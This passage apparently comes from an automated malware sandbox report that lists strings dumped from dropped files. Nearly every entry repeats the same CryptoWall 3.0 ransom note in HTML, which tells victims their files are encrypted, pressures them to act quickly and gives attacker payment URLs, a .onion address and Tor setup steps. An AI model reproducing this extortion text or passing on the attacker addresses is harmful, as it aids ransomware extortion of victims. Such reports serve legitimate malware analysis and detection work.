install tor-browser: <a href="http://www.torproject.org/projects/torbrowser.html.en" target="_blank">http://www.torproject.org/projects/torbrowser.html.en</a><br>2. After a successful installa
Source: restore_files_gpmus.html380.2.dr	String found in binary or memory : <html> <style>a { color:green; }.tb { background:white; border-style:solid; border-width:1px; padding:3px; border-color:lime; }.ttl { font-size:13px; color:880000; }</style><body style="background:#33CCFF;"> <center><div style="text-align:left; font-family:Arial; font-size:13px; line-height:20px; margin-top:10px; width:800px; background:#F4F4F4; padding:20px; border-style:solid; border-width:5px; border-color:#BABABA;"><b><font class="ttl">What happened to your files?</b></font><br> <font style="font-size:13px;">All of your files were protected by a strong encryption with RSA-2048 using CryptoWall 3.0.<br> More information about the encryption RSA-2048 can be found here: <a href="http://en.wikipedia.org/wiki/RSA_(cryptosystem)" target="_blank">http://en.wikipedia.org/wiki/RSA_(cryptosystem)</a><br></font><br><b><font class="ttl">What does this mean?</b></font><br><font style="font-size:13px;">This means that the structure and data within your files have been irrevocably changed, you will not be able to work<br> with them, read them or see them, it is the same thing as losing them forever, but with our help, you can restore them.</font><br><br><b><font class="ttl">How did this happen?</b></font> <br> <font style="font-size:13px;"> Especially for you, on our server was generated the secret key pair RSA-2048 - public and private.<br>All your files were encrypted with the public key, which has been transferred to your computer via the Internet.<br> Decrypting of YOUR FILES is only possible with the help of the private key and decrypt program, which is on our SECRET SERVER!!!.</font><br><br><b><font class="ttl">What do I do?</b></font> <br><font style="font-size:13px;">Alas, if you do not take the necessary measures for the specified time then the conditions for obtaining the private key will be changed.<br> If you really need your data, then we suggest you do not waste valuable time searching for other solutions because they do not exist.</font><br><br><div class="tb" style="color:#880000; font-size:13px; border-width:3px;">For more specific instructions, please visit your personal home page, there are a few different addresses pointing to your page below: <hr><b>1.<a href="http://aep554w4fm8j.fflroe598qu.com/E722D94C1CAC34B" target="_blank">http://aep554w4fm8j.fflroe598qu.com/E722D94C1CAC34B</a></b><br><b>2.<a href="http://aoei243548ld.keedo93i1lo.com/E722D94C1CAC34B" target="_blank">http://aoei243548ld.keedo93i1lo.com/E722D94C1CAC34B</a></b><br><b>3.<a href="https://zpr5huq4bgmutfnf.onion.to/E722D94C1CAC34B" target="_blank">https://zpr5huq4bgmutfnf.onion.to/E722D94C1CAC34B</a></b><br></div><br><div class="tb" style="font-size:13px; border-color:#880000;">If for some reasons the addresses are not available, follow these steps: <hr>1. Download and install tor-browser: <a href="http://www.torproject.org/projects/torbrowser.html.en" target="_blank">http://www.torproject.org/projects/torbrowser.html.en</a><br>2. After a successful installa
Source: restore_files_gpmus.txt277.2.dr	String found in binary or memory : Decrypting of your files is only possible with the help of the private key and decrypt program, which is on our secret server.
Source: restore_files_gpmus.txt176.2.dr	String found in binary or memory : Decrypting of your files is only possible with the help of the private key and decrypt program, which is on our secret server.
Source: restore_files_gpmus.html176.2.dr	String found in binary or memory : <html> <style>a { color:green; }.tb { background:white; border-style:solid; border-width:1px; padding:3px; border-color:lime; }.ttl { font-size:13px; color:880000; }</style><body style="background:#33CCFF;"> <center><div style="text-align:left; font-family:Arial; font-size:13px; line-height:20px; margin-top:10px; width:800px; background:#F4F4F4; padding:20px; border-style:solid; border-width:5px; border-color:#BABABA;"><b><font class="ttl">What happened to your files?</b></font><br> <font style="font-size:13px;">All of your files were protected by a strong encryption with RSA-2048 using CryptoWall 3.0.<br> More information about the encryption RSA-2048 can be found here: <a href="http://en.wikipedia.org/wiki/RSA_(cryptosystem)" target="_blank">http://en.wikipedia.org/wiki/RSA_(cryptosystem)</a><br></font><br><b><font class="ttl">What does this mean?</b></font><br><font style="font-size:13px;">This means that the structure and data within your files have been irrevocably changed, you will not be able to work<br> with them, read them or see them, it is the same thing as losing them forever, but with our help, you can restore them.</font><br><br><b><font class="ttl">How did this happen?</b></font> <br> <font style="font-size:13px;"> Especially for you, on our server was generated the secret key pair RSA-2048 - public and private.<br>All your files were encrypted with the public key, which has been transferred to your computer via the Internet.<br> Decrypting of YOUR FILES is only possible with the help of the private key and decrypt program, which is on our SECRET SERVER!!!.</font><br><br><b><font class="ttl">What do I do?</b></font> <br><font style="font-size:13px;">Alas, if you do not take the necessary measures for the specified time then the conditions for obtaining the private key will be changed.<br> If you really need your data, then we suggest you do not waste valuable time searching for other solutions because they do not exist.</font><br><br><div class="tb" style="color:#880000; font-size:13px; border-width:3px;">For more specific instructions, please visit your personal home page, there are a few different addresses pointing to your page below: <hr><b>1.<a href="http://aep554w4fm8j.fflroe598qu.com/E722D94C1CAC34B" target="_blank">http://aep554w4fm8j.fflroe598qu.com/E722D94C1CAC34B</a></b><br><b>2.<a href="http://aoei243548ld.keedo93i1lo.com/E722D94C1CAC34B" target="_blank">http://aoei243548ld.keedo93i1lo.com/E722D94C1CAC34B</a></b><br><b>3.<a href="https://zpr5huq4bgmutfnf.onion.to/E722D94C1CAC34B" target="_blank">https://zpr5huq4bgmutfnf.onion.to/E722D94C1CAC34B</a></b><br></div><br><div class="tb" style="font-size:13px; border-color:#880000;">If for some reasons the addresses are not available, follow these steps: <hr>1. Download and install tor-browser: <a href="http://www.torproject.org/projects/torbrowser.html.en" target="_blank">http://www.torproject.org/projects/torbrowser.html.en</a><br>2. After a successful installa
Source: restore_files_gpmus.html40.2.dr	String found in binary or memory : <html> <style>a { color:green; }.tb { background:white; border-style:solid; border-width:1px; padding:3px; border-color:lime; }.ttl { font-size:13px; color:880000; }</style><body style="background:#33CCFF;"> <center><div style="text-align:left; font-family:Arial; font-size:13px; line-height:20px; margin-top:10px; width:800px; background:#F4F4F4; padding:20px; border-style:solid; border-width:5px; border-color:#BABABA;"><b><font class="ttl">What happened to your files?</b></font><br> <font style="font-size:13px;">All of your files were protected by a strong encryption with RSA-2048 using CryptoWall 3.0.<br> More information about the encryption RSA-2048 can be found here: <a href="http://en.wikipedia.org/wiki/RSA_(cryptosystem)" target="_blank">http://en.wikipedia.org/wiki/RSA_(cryptosystem)</a><br></font><br><b><font class="ttl">What does this mean?</b></font><br><font style="font-size:13px;">This means that the structure and data within your files have been irrevocably changed, you will not be able to work<br> with them, read them or see them, it is the same thing as losing them forever, but with our help, you can restore them.</font><br><br><b><font class="ttl">How did this happen?</b></font> <br> <font style="font-size:13px;"> Especially for you, on our server was generated the secret key pair RSA-2048 - public and private.<br>All your files were encrypted with the public key, which has been transferred to your computer via the Internet.<br> Decrypting of YOUR FILES is only possible with the help of the private key and decrypt program, which is on our SECRET SERVER!!!.</font><br><br><b><font class="ttl">What do I do?</b></font> <br><font style="font-size:13px;">Alas, if you do not take the necessary measures for the specified time then the conditions for obtaining the private key will be changed.<br> If you really need your data, then we suggest you do not waste valuable time searching for other solutions because they do not exist.</font><br><br><div class="tb" style="color:#880000; font-size:13px; border-width:3px;">For more specific instructions, please visit your personal home page, there are a few different addresses pointing to your page below: <hr><b>1.<a href="http://aep554w4fm8j.fflroe598qu.com/E722D94C1CAC34B" target="_blank">http://aep554w4fm8j.fflroe598qu.com/E722D94C1CAC34B</a></b><br><b>2.<a href="http://aoei243548ld.keedo93i1lo.com/E722D94C1CAC34B" target="_blank">http://aoei243548ld.keedo93i1lo.com/E722D94C1CAC34B</a></b><br><b>3.<a href="https://zpr5huq4bgmutfnf.onion.to/E722D94C1CAC34B" target="_blank">https://zpr5huq4bgmutfnf.onion.to/E722D94C1CAC34B</a></b><br></div><br><div class="tb" style="font-size:13px; border-color:#880000;">If for some reasons the addresses are not available, follow these steps: <hr>1. Download and install tor-browser: <a href="http://www.torproject.org/projects/torbrowser.html.en" target="_blank">http://www.torproject.org/projects/torbrowser.html.en</a><br>2. After a successful installa
Source: restore_files_gpmus.html315.2.dr	String found in binary or memory : <html> <style>a { color:green; }.tb { background:white; border-style:solid; border-width:1px; padding:3px; border-color:lime; }.ttl { font-size:13px; color:880000; }</style><body style="background:#33CCFF;"> <center><div style="text-align:left; font-family:Arial; font-size:13px; line-height:20px; margin-top:10px; width:800px; background:#F4F4F4; padding:20px; border-style:solid; border-width:5px; border-color:#BABABA;"><b><font class="ttl">What happened to your files?</b></font><br> <font style="font-size:13px;">All of your files were protected by a strong encryption with RSA-2048 using CryptoWall 3.0.<br> More information about the encryption RSA-2048 can be found here: <a href="http://en.wikipedia.org/wiki/RSA_(cryptosystem)" target="_blank">http://en.wikipedia.org/wiki/RSA_(cryptosystem)</a><br></font><br><b><font class="ttl">What does this mean?</b></font><br><font style="font-size:13px;">This means that the structure and data within your files have been irrevocably changed, you will not be able to work<br> with them, read them or see them, it is the same thing as losing them forever, but with our help, you can restore them.</font><br><br><b><font class="ttl">How did this happen?</b></font> <br> <font style="font-size:13px;"> Especially for you, on our server was generated the secret key pair RSA-2048 - public and private.<br>All your files were encrypted with the public key, which has been transferred to your computer via the Internet.<br> Decrypting of YOUR FILES is only possible with the help of the private key and decrypt program, which is on our SECRET SERVER!!!.</font><br><br><b><font class="ttl">What do I do?</b></font> <br><font style="font-size:13px;">Alas, if you do not take the necessary measures for the specified time then the conditions for obtaining the private key will be changed.<br> If you really need your data, then we suggest you do not waste valuable time searching for other solutions because they do not exist.</font><br><br><div class="tb" style="color:#880000; font-size:13px; border-width:3px;">For more specific instructions, please visit your personal home page, there are a few different addresses pointing to your page below: <hr><b>1.<a href="http://aep554w4fm8j.fflroe598qu.com/E722D94C1CAC34B" target="_blank">http://aep554w4fm8j.fflroe598qu.com/E722D94C1CAC34B</a></b><br><b>2.<a href="http://aoei243548ld.keedo93i1lo.com/E722D94C1CAC34B" target="_blank">http://aoei243548ld.keedo93i1lo.com/E722D94C1CAC34B</a></b><br><b>3.<a href="https://zpr5huq4bgmutfnf.onion.to/E722D94C1CAC34B" target="_blank">https://zpr5huq4bgmutfnf.onion.to/E722D94C1CAC34B</a></b><br></div><br><div class="tb" style="font-size:13px; border-color:#880000;">If for some reasons the addresses are not available, follow these steps: <hr>1. Download and install tor-browser: <a href="http://www.torproject.org/projects/torbrowser.html.en" target="_blank">http://www.torproject.org/projects/torbrowser.html.en</a><br>2. After a successful installa
Source: restore_files_gpmus.txt349.2.dr	String found in binary or memory : Decrypting of your files is only possible with the help of the private key and decrypt program, which is on our secret server.
Source: restore_files_gpmus.html366.2.dr	String found in binary or memory : <html> <style>a { color:green; }.tb { background:white; border-style:solid; border-width:1px; padding:3px; border-color:lime; }.ttl { font-size:13px; color:880000; }</style><body style="background:#33CCFF;"> <center><div style="text-align:left; font-family:Arial; font-size:13px; line-height:20px; margin-top:10px; width:800px; background:#F4F4F4; padding:20px; border-style:solid; border-width:5px; border-color:#BABABA;"><b><font class="ttl">What happened to your files?</b></font><br> <font style="font-size:13px;">All of your files were protected by a strong encryption with RSA-2048 using CryptoWall 3.0.<br> More information about the encryption RSA-2048 can be found here: <a href="http://en.wikipedia.org/wiki/RSA_(cryptosystem)" target="_blank">http://en.wikipedia.org/wiki/RSA_(cryptosystem)</a><br></font><br><b><font class="ttl">What does this mean?</b></font><br><font style="font-size:13px;">This means that the structure and data within your files have been irrevocably changed, you will not be able to work<br> with them, read them or see them, it is the same thing as losing them forever, but with our help, you can restore them.</font><br><br><b><font class="ttl">How did this happen?</b></font> <br> <font style="font-size:13px;"> Especially for you, on our server was generated the secret key pair RSA-2048 - public and private.<br>All your files were encrypted with the public key, which has been transferred to your computer via the Internet.<br> Decrypting of YOUR FILES is only possible with the help of the private key and decrypt program, which is on our SECRET SERVER!!!.</font><br><br><b><font class="ttl">What do I do?</b></font> <br><font style="font-size:13px;">Alas, if you do not take the necessary measures for the specified time then the conditions for obtaining the private key will be changed.<br> If you really need your data, then we suggest you do not waste valuable time searching for other solutions because they do not exist.</font><br><br><div class="tb" style="color:#880000; font-size:13px; border-width:3px;">For more specific instructions, please visit your personal home page, there are a few different addresses pointing to your page below: <hr><b>1.<a href="http://aep554w4fm8j.fflroe598qu.com/E722D94C1CAC34B" target="_blank">http://aep554w4fm8j.fflroe598qu.com/E722D94C1CAC34B</a></b><br><b>2.<a href="http://aoei243548ld.keedo93i1lo.com/E722D94C1CAC34B" target="_blank">http://aoei243548ld.keedo93i1lo.com/E722D94C1CAC34B</a></b><br><b>3.<a href="https://zpr5huq4bgmutfnf.onion.to/E722D94C1CAC34B" target="_blank">https://zpr5huq4bgmutfnf.onion.to/E722D94C1CAC34B</a></b><br></div><br><div class="tb" style="font-size:13px; border-color:#880000;">If for some reasons the addresses are not available, follow these steps: <hr>1. Download and install tor-browser: <a href="http://www.torproject.org/projects/torbrowser.html.en" target="_blank">http://www.torproject.org/projects/torbrowser.html.en</a><br>2. After a successful installa
Source: restore_files_gpmus.txt333.2.dr	String found in binary or memory : Decrypting of your files is only possible with the help of the private key and decrypt program, which is on our secret server.
Source: restore_files_gpmus.txt31.2.dr	String found in binary or memory : Decrypting of your files is only possible with the help of the private key and decrypt program, which is on our secret server.
Source: restore_files_gpmus.txt90.2.dr	String found in binary or memory : Decrypting of your files is only possible with the help of the private key and decrypt program, which is on our secret server.
Source: restore_files_gpmus.txt189.2.dr	String found in binary or memory : Decrypting of your files is only possible with the help of the private key and decrypt program, which is on our secret server.
Source: restore_files_gpmus.txt180.2.dr	String found in binary or memory : Decrypting of your files is only possible with the help of the private key and decrypt program, which is on our secret server.
Source: restore_files_gpmus.txt89.2.dr	String found in binary or memory : Decrypting of your files is only possible with the help of the private key and decrypt program, which is on our secret server.
Source: restore_files_gpmus.txt274.2.dr	String found in binary or memory : Decrypting of your files is only possible with the help of the private key and decrypt program, which is on our secret server.
Source: restore_files_gpmus.txt317.2.dr	String found in binary or memory : Decrypting of your files is only possible with the help of the private key and decrypt program, which is on our secret server.
Source: restore_files_gpmus.html132.2.dr	String found in binary or memory : <html> <style>a { color:green; }.tb { background:white; border-style:solid; border-width:1px; padding:3px; border-color:lime; }.ttl { font-size:13px; color:880000; }</style><body style="background:#33CCFF;"> <center><div style="text-align:left; font-family:Arial; font-size:13px; line-height:20px; margin-top:10px; width:800px; background:#F4F4F4; padding:20px; border-style:solid; border-width:5px; border-color:#BABABA;"><b><font class="ttl">What happened to your files?</b></font><br> <font style="font-size:13px;">All of your files were protected by a strong encryption with RSA-2048 using CryptoWall 3.0.<br> More information about the encryption RSA-2048 can be found here: <a href="http://en.wikipedia.org/wiki/RSA_(cryptosystem)" target="_blank">http://en.wikipedia.org/wiki/RSA_(cryptosystem)</a><br></font><br><b><font class="ttl">What does this mean?</b></font><br><font style="font-size:13px;">This means that the structure and data within your files have been irrevocably changed, you will not be able to work<br> with them, read them or see them, it is the same thing as losing them forever, but with our help, you can restore them.</font><br><br><b><font class="ttl">How did this happen?</b></font> <br> <font style="font-size:13px;"> Especially for you, on our server was generated the secret key pair RSA-2048 - public and private.<br>All your files were encrypted with the public key, which has been transferred to your computer via the Internet.<br> Decrypting of YOUR FILES is only possible with the help of the private key and decrypt program, which is on our SECRET SERVER!!!.</font><br><br><b><font class="ttl">What do I do?</b></font> <br><font style="font-size:13px;">Alas, if you do not take the necessary measures for the specified time then the conditions for obtaining the private key will be changed.<br> If you really need your data, then we suggest you do not waste valuable time searching for other solutions because they do not exist.</font><br><br><div class="tb" style="color:#880000; font-size:13px; border-width:3px;">For more specific instructions, please visit your personal home page, there are a few different addresses pointing to your page below: <hr><b>1.<a href="http://aep554w4fm8j.fflroe598qu.com/E722D94C1CAC34B" target="_blank">http://aep554w4fm8j.fflroe598qu.com/E722D94C1CAC34B</a></b><br><b>2.<a href="http://aoei243548ld.keedo93i1lo.com/E722D94C1CAC34B" target="_blank">http://aoei243548ld.keedo93i1lo.com/E722D94C1CAC34B</a></b><br><b>3.<a href="https://zpr5huq4bgmutfnf.onion.to/E722D94C1CAC34B" target="_blank">https://zpr5huq4bgmutfnf.onion.to/E722D94C1CAC34B</a></b><br></div><br><div class="tb" style="font-size:13px; border-color:#880000;">If for some reasons the addresses are not available, follow these steps: <hr>1. Download and install tor-browser: <a href="http://www.torproject.org/projects/torbrowser.html.en" target="_blank">http://www.torproject.org/projects/torbrowser.html.en</a><br>2. After a successful installa
Source: restore_files_gpmus.txt190.2.dr	String found in binary or memory : Decrypting of your files is only possible with the help of the private key and decrypt program, which is on our secret server.
Source: restore_files_gpmus.txt195.2.dr	String found in binary or memory : Decrypting of your files is only possible with the help of the private key and decrypt program, which is on our secret server.
Source: restore_files_gpmus.html345.2.dr	String found in binary or memory : <html> <style>a { color:green; }.tb { background:white; border-style:solid; border-width:1px; padding:3px; border-color:lime; }.ttl { font-size:13px; color:880000; }</style><body style="background:#33CCFF;"> <center><div style="text-align:left; font-family:Arial; font-size:13px; line-height:20px; margin-top:10px; width:800px; background:#F4F4F4; padding:20px; border-style:solid; border-width:5px; border-color:#BABABA;"><b><font class="ttl">What happened to your files?</b></font><br> <font style="font-size:13px;">All of your files were protected by a strong encryption with RSA-2048 using CryptoWall 3.0.<br> More information about the encryption RSA-2048 can be found here: <a href="http://en.wikipedia.org/wiki/RSA_(cryptosystem)" target="_blank">http://en.wikipedia.org/wiki/RSA_(cryptosystem)</a><br></font><br><b><font class="ttl">What does this mean?</b></font><br><font style="font-size:13px;">This means that the structure and data within your files have been irrevocably changed, you will not be able to work<br> with them, read them or see them, it is the same thing as losing them forever, but with our help, you can restore them.</font><br><br><b><font class="ttl">How did this happen?</b></font> <br> <font style="font-size:13px;"> Especially for you, on our server was generated the secret key pair RSA-2048 - public and private.<br>All your files were encrypted with the public key, which has been transferred to your computer via the Internet.<br> Decrypting of YOUR FILES is only possible with the help of the private key and decrypt program, which is on our SECRET SERVER!!!.</font><br><br><b><font class="ttl">What do I do?</b></font> <br><font style="font-size:13px;">Alas, if you do not take the necessary measures for the specified time then the conditions for obtaining the private key will be changed.<br> If you really need your data, then we suggest you do not waste valuable time searching for other solutions because they do not exist.</font><br><br><div class="tb" style="color:#880000; font-size:13px; border-width:3px;">For more specific instructions, please visit your personal home page, there are a few different addresses pointing to your page below: <hr><b>1.<a href="http://aep554w4fm8j.fflroe598qu.com/E722D94C1CAC34B" target="_blank">http://aep554w4fm8j.fflroe598qu.com/E722D94C1CAC34B</a></b><br><b>2.<a href="http://aoei243548ld.keedo93i1lo.com/E722D94C1CAC34B" target="_blank">http://aoei243548ld.keedo93i1lo.com/E722D94C1CAC34B</a></b><br><b>3.<a href="https://zpr5huq4bgmutfnf.onion.to/E722D94C1CAC34B" target="_blank">https://zpr5huq4bgmutfnf.onion.to/E722D94C1CAC34B</a></b><br></div><br><div class="tb" style="font-size:13px; border-color:#880000;">If for some reasons the addresses are not available, follow these steps: <hr>1. Download and install tor-browser: <a href="http://www.torproject.org/projects/torbrowser.html.en" target="_blank">http://www.torproject.org/projects/torbrowser.html.en</a><br>2. After a successful installa
Source: restore_files_gpmus.html254.2.dr	String found in binary or memory : <html> <style>a { color:green; }.tb { background:white; border-style:solid; border-width:1px; padding:3px; border-color:lime; }.ttl { font-size:13px; color:880000; }</style><body style="background:#33CCFF;"> <center><div style="text-align:left; font-family:Arial; font-size:13px; line-height:20px; margin-top:10px; width:800px; background:#F4F4F4; padding:20px; border-style:solid; border-width:5px; border-color:#BABABA;"><b><font class="ttl">What happened to your files?</b></font><br> <font style="font-size:13px;">All of your files were protected by a strong encryption with RSA-2048 using CryptoWall 3.0.<br> More information about the encryption RSA-2048 can be found here: <a href="http://en.wikipedia.org/wiki/RSA_(cryptosystem)" target="_blank">http://en.wikipedia.org/wiki/RSA_(cryptosystem)</a><br></font><br><b><font class="ttl">What does this mean?</b></font><br><font style="font-size:13px;">This means that the structure and data within your files have been irrevocably changed, you will not be able to work<br> with them, read them or see them, it is the same thing as losing them forever, but with our help, you can restore them.</font><br><br><b><font class="ttl">How did this happen?</b></font> <br> <font style="font-size:13px;"> Especially for you, on our server was generated the secret key pair RSA-2048 - public and private.<br>All your files were encrypted with the public key, which has been transferred to your computer via the Internet.<br> Decrypting of YOUR FILES is only possible with the help of the private key and decrypt program, which is on our SECRET SERVER!!!.</font><br><br><b><font class="ttl">What do I do?</b></font> <br><font style="font-size:13px;">Alas, if you do not take the necessary measures for the specified time then the conditions for obtaining the private key will be changed.<br> If you really need your data, then we suggest you do not waste valuable time searching for other solutions because they do not exist.</font><br><br><div class="tb" style="color:#880000; font-size:13px; border-width:3px;">For more specific instructions, please visit your personal home page, there are a few different addresses pointing to your page below: <hr><b>1.<a href="http://aep554w4fm8j.fflroe598qu.com/E722D94C1CAC34B" target="_blank">http://aep554w4fm8j.fflroe598qu.com/E722D94C1CAC34B</a></b><br><b>2.<a href="http://aoei243548ld.keedo93i1lo.com/E722D94C1CAC34B" target="_blank">http://aoei243548ld.keedo93i1lo.com/E722D94C1CAC34B</a></b><br><b>3.<a href="https://zpr5huq4bgmutfnf.onion.to/E722D94C1CAC34B" target="_blank">https://zpr5huq4bgmutfnf.onion.to/E722D94C1CAC34B</a></b><br></div><br><div class="tb" style="font-size:13px; border-color:#880000;">If for some reasons the addresses are not available, follow these steps: <hr>1. Download and install tor-browser: <a href="http://www.torproject.org/projects/torbrowser.html.en" target="_blank">http://www.torproject.org/projects/torbrowser.html.en</a><br>2. After a successful installa
Source: restore_files_gpmus.txt115.2.dr	String found in binary or memory : Decrypting of your files is only possible with the help of the private key and decrypt program, which is on our secret server.
Source: restore_files_gpmus.html78.2.dr	String found in binary or memory : <html> <style>a { color:green; }.tb { background:white; border-style:solid; border-width:1px; padding:3px; border-color:lime; }.ttl { font-size:13px; color:880000; }</style><body style="background:#33CCFF;"> <center><div style="text-align:left; font-family:Arial; font-size:13px; line-height:20px; margin-top:10px; width:800px; background:#F4F4F4; padding:20px; border-style:solid; border-width:5px; border-color:#BABABA;"><b><font class="ttl">What happened to your files?</b></font><br> <font style="font-size:13px;">All of your files were protected by a strong encryption with RSA-2048 using CryptoWall 3.0.<br> More information about the encryption RSA-2048 can be found here: <a href="http://en.wikipedia.org/wiki/RSA_(cryptosystem)" target="_blank">http://en.wikipedia.org/wiki/RSA_(cryptosystem)</a><br></font><br><b><font class="ttl">What does this mean?</b></font><br><font style="font-size:13px;">This means that the structure and data within your files have been irrevocably changed, you will not be able to work<br> with them, read them or see them, it is the same thing as losing them forever, but with our help, you can restore them.</font><br><br><b><font class="ttl">How did this happen?</b></font> <br> <font style="font-size:13px;"> Especially for you, on our server was generated the secret key pair RSA-2048 - public and private.<br>All your files were encrypted with the public key, which has been transferred to your computer via the Internet.<br> Decrypting of YOUR FILES is only possible with the help of the private key and decrypt program, which is on our SECRET SERVER!!!.</font><br><br><b><font class="ttl">What do I do?</b></font> <br><font style="font-size:13px;">Alas, if you do not take the necessary measures for the specified time then the conditions for obtaining the private key will be changed.<br> If you really need your data, then we suggest you do not waste valuable time searching for other solutions because they do not exist.</font><br><br><div class="tb" style="color:#880000; font-size:13px; border-width:3px;">For more specific instructions, please visit your personal home page, there are a few different addresses pointing to your page below: <hr><b>1.<a href="http://aep554w4fm8j.fflroe598qu.com/E722D94C1CAC34B" target="_blank">http://aep554w4fm8j.fflroe598qu.com/E722D94C1CAC34B</a></b><br><b>2.<a href="http://aoei243548ld.keedo93i1lo.com/E722D94C1CAC34B" target="_blank">http://aoei243548ld.keedo93i1lo.com/E722D94C1CAC34B</a></b><br><b>3.<a href="https://zpr5huq4bgmutfnf.onion.to/E722D94C1CAC34B" target="_blank">https://zpr5huq4bgmutfnf.onion.to/E722D94C1CAC34B</a></b><br></div><br><div class="tb" style="font-size:13px; border-color:#880000;">If for some reasons the addresses are not available, follow these steps: <hr>1. Download and install tor-browser: <a href="http://www.torproject.org/projects/torbrowser.html.en" target="_blank">http://www.torproject.org/projects/torbrowser.html.en</a><br>2. After a successful installa
Source: restore_files_gpmus.txt337.2.dr	String found in binary or memory : Decrypting of your files is only possible with the help of the private key and decrypt program, which is on our secret server.
Source: restore_files_gpmus.html281.2.dr	String found in binary or memory : <html> <style>a { color:green; }.tb { background:white; border-style:solid; border-width:1px; padding:3px; border-color:lime; }.ttl { font-size:13px; color:880000; }</style><body style="background:#33CCFF;"> <center><div style="text-align:left; font-family:Arial; font-size:13px; line-height:20px; margin-top:10px; width:800px; background:#F4F4F4; padding:20px; border-style:solid; border-width:5px; border-color:#BABABA;"><b><font class="ttl">What happened to your files?</b></font><br> <font style="font-size:13px;">All of your files were protected by a strong encryption with RSA-2048 using CryptoWall 3.0.<br> More information about the encryption RSA-2048 can be found here: <a href="http://en.wikipedia.org/wiki/RSA_(cryptosystem)" target="_blank">http://en.wikipedia.org/wiki/RSA_(cryptosystem)</a><br></font><br><b><font class="ttl">What does this mean?</b></font><br><font style="font-size:13px;">This means that the structure and data within your files have been irrevocably changed, you will not be able to work<br> with them, read them or see them, it is the same thing as losing them forever, but with our help, you can restore them.</font><br><br><b><font class="ttl">How did this happen?</b></font> <br> <font style="font-size:13px;"> Especially for you, on our server was generated the secret key pair RSA-2048 - public and private.<br>All your files were encrypted with the public key, which has been transferred to your computer via the Internet.<br> Decrypting of YOUR FILES is only possible with the help of the private key and decrypt program, which is on our SECRET SERVER!!!.</font><br><br><b><font class="ttl">What do I do?</b></font> <br><font style="font-size:13px;">Alas, if you do not take the necessary measures for the specified time then the conditions for obtaining the private key will be changed.<br> If you really need your data, then we suggest you do not waste valuable time searching for other solutions because they do not exist.</font><br><br><div class="tb" style="color:#880000; font-size:13px; border-width:3px;">For more specific instructions, please visit your personal home page, there are a few different addresses pointing to your page below: <hr><b>1.<a href="http://aep554w4fm8j.fflroe598qu.com/E722D94C1CAC34B" target="_blank">http://aep554w4fm8j.fflroe598qu.com/E722D94C1CAC34B</a></b><br><b>2.<a href="http://aoei243548ld.keedo93i1lo.com/E722D94C1CAC34B" target="_blank">http://aoei243548ld.keedo93i1lo.com/E722D94C1CAC34B</a></b><br><b>3.<a href="https://zpr5huq4bgmutfnf.onion.to/E722D94C1CAC34B" target="_blank">https://zpr5huq4bgmutfnf.onion.to/E722D94C1CAC34B</a></b><br></div><br><div class="tb" style="font-size:13px; border-color:#880000;">If for some reasons the addresses are not available, follow these steps: <hr>1. Download and install tor-browser: <a href="http://www.torproject.org/projects/torbrowser.html.en" target="_blank">http://www.torproject.org/projects/torbrowser.html.en</a><br>2. After a successful installa
Source: restore_files_gpmus.html260.2.dr	String found in binary or memory : <html> <style>a { color:green; }.tb { background:white; border-style:solid; border-width:1px; padding:3px; border-color:lime; }.ttl { font-size:13px; color:880000; }</style><body style="background:#33CCFF;"> <center><div style="text-align:left; font-family:Arial; font-size:13px; line-height:20px; margin-top:10px; width:800px; background:#F4F4F4; padding:20px; border-style:solid; border-width:5px; border-color:#BABABA;"><b><font class="ttl">What happened to your files?</b></font><br> <font style="font-size:13px;">All of your files were protected by a strong encryption with RSA-2048 using CryptoWall 3.0.<br> More information about the encryption RSA-2048 can be found here: <a href="http://en.wikipedia.org/wiki/RSA_(cryptosystem)" target="_blank">http://en.wikipedia.org/wiki/RSA_(cryptosystem)</a><br></font><br><b><font class="ttl">What does this mean?</b></font><br><font style="font-size:13px;">This means that the structure and data within your files have been irrevocably changed, you will not be able to work<br> with them, read them or see them, it is the same thing as losing them forever, but with our help, you can restore them.</font><br><br><b><font class="ttl">How did this happen?</b></font> <br> <font style="font-size:13px;"> Especially for you, on our server was generated the secret key pair RSA-2048 - public and private.<br>All your files were encrypted with the public key, which has been transferred to your computer via the Internet.<br> Decrypting of YOUR FILES is only possible with the help of the private key and decrypt program, which is on our SECRET SERVER!!!.</font><br><br><b><font class="ttl">What do I do?</b></font> <br><font style="font-size:13px;">Alas, if you do not take the necessary measures for the specified time then the conditions for obtaining the private key will be changed.<br> If you really need your data, then we suggest you do not waste valuable time searching for other solutions because they do not exist.</font><br><br><div class="tb" style="color:#880000; font-size:13px; border-width:3px;">For more specific instructions, please visit your personal home page, there are a few different addresses pointing to your page below: <hr><b>1.<a href="http://aep554w4fm8j.fflroe598qu.com/E722D94C1CAC34B" target="_blank">http://aep554w4fm8j.fflroe598qu.com/E722D94C1CAC34B</a></b><br><b>2.<a href="http://aoei243548ld.keedo93i1lo.com/E722D94C1CAC34B" target="_blank">http://aoei243548ld.keedo93i1lo.com/E722D94C1CAC34B</a></b><br><b>3.<a href="https://zpr5huq4bgmutfnf.onion.to/E722D94C1CAC34B" target="_blank">https://zpr5huq4bgmutfnf.onion.to/E722D94C1CAC34B</a></b><br></div><br><div class="tb" style="font-size:13px; border-color:#880000;">If for some reasons the addresses are not available, follow these steps: <hr>1. Download and install tor-browser: <a href="http://www.torproject.org/projects/torbrowser.html.en" target="_blank">http://www.torproject.org/projects/torbrowser.html.en</a><br>2. After a successful installa
Source: restore_files_gpmus.txt178.2.dr	String found in binary or memory : Decrypting of your files is only possible with the help of the private key and decrypt program, which is on our secret server.
Source: restore_files_gpmus.html134.2.dr	String found in binary or memory : <html> <style>a { color:green; }.tb { background:white; border-style:solid; border-width:1px; padding:3px; border-color:lime; }.ttl { font-size:13px; color:880000; }</style><body style="background:#33CCFF;"> <center><div style="text-align:left; font-family:Arial; font-size:13px; line-height:20px; margin-top:10px; width:800px; background:#F4F4F4; padding:20px; border-style:solid; border-width:5px; border-color:#BABABA;"><b><font class="ttl">What happened to your files?</b></font><br> <font style="font-size:13px;">All of your files were protected by a strong encryption with RSA-2048 using CryptoWall 3.0.<br> More information about the encryption RSA-2048 can be found here: <a href="http://en.wikipedia.org/wiki/RSA_(cryptosystem)" target="_blank">http://en.wikipedia.org/wiki/RSA_(cryptosystem)</a><br></font><br><b><font class="ttl">What does this mean?</b></font><br><font style="font-size:13px;">This means that the structure and data within your files have been irrevocably changed, you will not be able to work<br> with them, read them or see them, it is the same thing as losing them forever, but with our help, you can restore them.</font><br><br><b><font class="ttl">How did this happen?</b></font> <br> <font style="font-size:13px;"> Especially for you, on our server was generated the secret key pair RSA-2048 - public and private.<br>All your files were encrypted with the public key, which has been transferred to your computer via the Internet.<br> Decrypting of YOUR FILES is only possible with the help of the private key and 